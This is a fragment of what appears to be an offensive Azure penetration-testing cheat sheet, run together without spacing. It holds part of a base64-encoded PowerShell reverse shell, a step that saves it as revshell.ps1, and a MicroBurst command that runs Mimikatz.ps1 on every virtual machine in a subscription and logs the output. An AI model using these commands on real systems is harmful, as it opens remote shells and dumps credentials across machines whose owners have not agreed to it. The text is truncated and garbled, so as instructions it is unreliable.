G4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
# The content ofecho"powershell.exe -EncodedCommand $encodedCommand">revshell.ps1# Try to run in every machineImport-moduleMicroBurst.psm1Invoke-AzureRmVMBulkCMD-ScriptMimikatz.ps1-Verbose-outputOutput.txt